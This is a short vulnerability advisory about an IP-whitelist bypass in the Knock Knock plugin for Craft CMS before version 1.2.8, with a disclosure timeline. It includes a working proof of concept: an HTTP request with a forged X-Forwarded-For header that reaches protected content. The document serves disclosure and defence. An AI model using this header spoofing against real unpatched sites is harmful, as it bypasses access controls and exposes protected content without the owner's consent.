Limpid Security

Vulnerability:
IP Whitelist bypass

Product:
Knock Knock Plugin for Craft CMS

Version:
< 1.2.8

Details:
The IP-Whitelist mechanism is improperly designed, as it compares whitelisted IP with X-Forwarded-For header value. The whitelist mechanism may be bypassed by X-Forwarded-For header manipulation.

Technical details:
An example IP address: 4.5.6.7 has been added to the IP whitelist.

request:

```
GET / HTTP/1.1
Host: 127.0.0.1
```

response:

```
HTTP/1.1 302 Found
Date: Mon, 18 May 2020 17:02:58 GMT
Server: Apache/2.4.37 (Debian)
Set-Cookie: CraftSessionId=j6bleqpsj4vc2rp23143vo9dob; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: http://127.0.0.1/index.php?p=knock-knock/who-is-there
Content-Length: 0
Content-Type: text/html; charset=UTF-8
```

request:

```
GET / HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 4.5.6.7
```

response:

```
HTTP/1.1 200 OK
Date: Mon, 18 May 2020 17:05:28 GMT
Server: Apache/2.4.37 (Debian)
X-Powered-By: Craft CMS
X-Robots-Tag: none, noimageindex
Link: <http://127.0.0.1/index.php>; rel="canonical"
Content-Length: 6
Content-Type: text/html; charset=UTF-8

SECRET
```

Disclosure timeline:
May 19, 2020 - Vendor notification
May 20, 2020 - Vendor fix
May 25, 2020 - Public disclosure